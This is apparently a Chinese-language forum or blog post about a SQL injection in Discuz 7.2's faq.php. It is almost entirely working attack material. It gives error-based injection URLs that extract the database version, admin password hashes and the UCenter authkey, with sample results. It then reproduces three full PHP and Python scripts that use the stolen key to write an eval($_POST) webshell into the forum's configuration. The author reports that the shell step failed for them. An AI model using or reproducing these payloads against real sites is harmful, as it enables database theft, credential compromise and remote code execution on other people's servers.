6.2号（可能更早）看到网上这个exp，是一个discuz 7.2的sql注射漏洞
经过多番考证，网上多数exp中都存在这些或者那些的问题，我自己利用和修改后总结，利用方法如下：
Discuz 7.2 /faq.php SQL注入漏洞
1.获取数据库版本信息
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23
2.获取管理员账户密码
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉最后的1
如：
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'
密文就是f426eaa50a5c805d360ca4046419c6ba
3.获取key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
这里需要注意
由于authkey的长度限制，只能是62个长度单位，并且由于不能修改exp内容（修改后不能暴库），所以采用两次获取的的方法，先获取前62位，在获取后2位
如
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'
http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:o6:' for key 'group_key'
最后的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6
获得了hash和key之后本想参考那利用key getshell的办法，但一看是x2 x2.5 x3的利用漏洞，一共有两个版本的
PHP 版
<?php// 代码版权归原作者所有！ $timestamp = time()+10*3600; $host="127.0.0.1"; $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item></root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://aaa</item></root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp;} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }?>一个paython版
#! /usr/bin/env python#coding=utf-8import hashlibimport timeimport mathimport base64import urllibimport urllib2import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "访问出错" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/config/config_ucenter.php,password:1" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+"/api/uc.php" print get_shell(url,key,host)使用方法：
python uckey.py http://www.localhost.com/ uckey |
但是发现好像不能通杀7.2，getshell并没有成功，不知道为什么，还请大家多指教。
最后附上“小马”的exp，但效果也不理想，大致远离同上，但是貌似也不能getshell
<?php /** * @author: xiaoma * @blog : www.i0day.com * @date : 2014.7.2 23:1 */ error_reporting(0);set_time_limit(3000);$host=$argv[1];$path=$argv[2];$js=$argv[3];$timestamp = time()+10*3600;$table="cdb_";//表名 if ($argc < 2) { print_r(' ******************************************************** * Discuz faq.php SQL Injection Exp * * ---------By：Www.i0day.com----------- * * Usage: php '.$argv[0].' url 1 * * ------------------------------------- * * js选项: 1.GetShell 2.取密码 3.查表前缀 * * * * php '.$argv[0].' Www.i0day.com / 1 * * php '.$argv[0].' Www.i0day.com /dz72/ 1 * * * * * ******************************************************** '); exit;}if($js==1){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"::")==-1){ echo '表前缀可能不是默认cdb_ 请先查看表前缀！'; }else{ preg_match("/::(.*)::/",$resp,$matches); $lenght=intval($matches[1]); if($lenght){ if($lenght<=124){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1\^")!=-1){ preg_match("/1\^(.*)\'/U",$resp,$key1); $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); preg_match("/1\^(.*)\'/U",$resp,$key2); $key=$key1[1].$key2[1]; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item></root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">bbs.49you.com</item></root>'; $html1 = send($cmd1); $res1=substr($html1,-1); $html2 = send($cmd2); $res2=substr($html1,-1); if($res1=='1'&&$res2=='1'){ echo "shell地址：http://".$host.$path.'config.inc.php pass:i0day'; } }else{ echo '获取失败'; } } } } }elseif($js==2){ $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"\^\^\^")!=-1){ preg_match("/\^\^\^(.*)\^/U",$resp,$password); echo '密码：'.$password[1]; }else{ echo '表前缀可能不是默认cdb_ 请先查看表前缀！'; }}elseif($js==3){ $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23"; $resp = sendpack($host,$path,$sql); if(strpos($resp,"1\^")!=-1){ preg_match("/1\^(.*)\^/U",$resp,$t); if(strpos($t[1],"cdb_")!=-1){ echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改"; }else{ echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table'; } }else{ echo "查看表前缀失败,Sorry"; }}else{ echo "未选择脚本功能";} function sendpack($host,$path,$sql,$js){ $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n"; $data.="Host:".$host."\r\n"; $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n"; $data.="Connection: close\r\n\r\n"; //$data.=$html."\r\n"; $ock=fsockopen($host,80); if(!$ock){ echo "No response from ".$host; die(); } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; }function send($cmd){ global $host,$code,$path; $message = "POST ".$path."/api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp;} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }function hex2str($hex){ $str = ''; $arr = str_split($hex, 2); foreach($arr as $bit){ $str .= chr(hexdec($bit)); } return $str; }?>